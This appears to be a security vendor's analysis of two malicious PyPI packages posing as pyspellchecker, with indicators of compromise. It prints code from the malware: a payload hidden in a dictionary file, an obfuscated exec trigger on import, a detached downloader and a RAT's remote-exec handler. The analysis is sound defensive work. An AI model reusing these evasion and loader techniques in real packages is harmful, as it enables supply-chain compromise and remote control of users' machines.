On January 20th and 21st, 2026, our malware detection pipeline flagged two new PyPI packages: spellcheckerpy and spellcheckpy. Both claimed to be the legitimate author of pyspellchecker library. Both are linked to his real GitHub repo.

They weren't his.

Hidden inside the Basque language dictionary file was a base64-encoded payload that downloads a full-featured Python RAT. The attacker published three "dormant" versions first, payload present, trigger absent, then flipped the switch with spellcheckpy v1.2.0, adding an obfuscated execution trigger that fires the moment you import SpellChecker.

The payload hiding in plain sight

The malware authors got creative. Instead of the usual suspects (postinstall scripts, obfuscated __init__.py), they buried the payload inside resources/eu.json.gz, a file that legitimately contains Basque word frequencies in the real pyspellchecker package.

Here's the extraction function in utils.py:

def test_file(filepath: PathOrStr, encoding: str, index: str):
    filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
    with gzip.open(filepath, "rt", encoding=encoding) as f:
        data = json.loads(f.read())
        return data[index]

Looks innocent. But when called with test_file("eu", "utf-8", "spellchecker"), it doesn't retrieve word frequencies. It retrieves a base64-encoded downloader hidden among the dictionary entries under a key called spellchecker.

Dormant, then deadly

In the first three versions, the payload gets extracted and decoded... but never executed:

test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# That's it. No exec(). The payload just sits there.

A loaded gun with the safety on.

Then came spellcheckpy v1.2.0. The attacker moved the trigger to WordFrequency.__init__ and added obfuscation:

if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"), 
                "<string>", 
                bytes.fromhex("65786563").decode("utf-8"))):
    self._evaluate = True

Do you see it? That bytes.fromhex("65786563") decodes to "exec".

Instead of writing exec() directly, which static scanners would flag,they reconstruct the string from hex at runtime. Import SpellChecker, instantiate it, and the RAT executes.

The RAT: Full remote control

The stage-1 payload is a downloader. It fetches the real payload from https://updatenet[.]work/settings/history.php and spawns it in a detached process:

p = subprocess.Popen(
    ["python3", "-"],
    stdin=subprocess.PIPE, 
    stdout=subprocess.DEVNULL, 
    stderr=subprocess.DEVNULL,
    start_new_session=True
)
p.stdin.write(downloaded_payload)
p.stdin.close()

That start_new_session=True is key: The RAT survives even if your script exits. No files written to disk. Silent. Detached.

The stage-2 RAT is a full-featured remote access trojan with some interesting characteristics:

System fingerprinting on init:

szObjectID = ''.join(random.choice(string.ascii_letters) for x in range(12))
szPCode = "Operating System : " + platform.platform()
szComputerName = "Computer Name : " + socket.gethostname()

Dual-layer XOR encryption for C2 comms: The RAT uses a 16-byte XOR key ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) for the outer layer, then a secondary XOR with key 123 for command payloads. Not cryptographically strong, but enough to evade signature-based detection.

Custom binary protocol: Commands come back as [4-byte command ID][4-byte length][XOR-encrypted payload]. The RAT parses this, decrypts, and dispatches.

Arbitrary code execution: When command ID 1001 arrives, the RAT just... runs it:

if nCMDID == 1001:
    exec(szCode)

Persistent beacon loop:

The RAT phones home every 5 seconds to https://updatenet[.]work/update1.php, sending its victim ID (campaign

FD429DEABE) and waiting for commands. SSL certificate validation is disabled via

ssl._create_unverified_context().

C2 Infrastructure

The C2 domain updatenet[.]work resolves to infrastructure with a documented history of hosting malicious activity.

Domain Registration:

• Domain: updatenet[.]work
• Registered: 28 October 2025 (approximately 3 months before malware publication)

Hosting Infrastructure:

• IP Address: 172.86.73[.]139
• ASN: AS14956 RouterHosting LLC
• Location: Dallas, Texas, USA
• Associated Domain: cloudzy.com
• Network: 172.86.73.0/24

Why this matters: RouterHosting LLC operates as Cloudzy, a hosting provider that has been extensively documented as a "Command-and-Control Provider" (C2P). In August 2023, Halcyon published a report titled "Cloudzy with a Chance of Ransomware" that found 40-60% of Cloudzy's traffic was malicious in nature. The report linked Cloudzy infrastructure to APT groups from China, Iran, North Korea, Russia, and other nations, as well as ransomware operators and a sanctioned Israeli spyware vendor.

Connection to previous campaigns

This isn't an isolated incident. In November 2025, HelixGuard documented a similar attack using the spellcheckers package (same target, different name). That campaign used the same RAT structure: XOR encryption, command ID 1001, exec(),  but different C2 infrastructure (dothebest[.]store). The HelixGuard report linked that campaign to fake recruiter social engineering targeting cryptocurrency holders.

Different domains, same playbook. This appears to be the exact same threat actor at play. 

Indicators of Compromise

Packages: spellcheckerpy (all versions), spellcheckpy (all versions)

C2 Infrastructure:

• updatenet[.]work
• https://updatenet[.]work/settings/history.php (stage-2 delivery)
• https://updatenet[.]work/update1.php (beacon endpoint)
• 172.86.73[.]139 (AS14956 RouterHosting LLC / Cloudzy)

Campaign identifiers:

• Campaign ID: FD429DEABE
• XOR Key: 03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05
• Secondary XOR: 0x7B (123)

Payload location:

resources/eu.json.gz, key spellchecker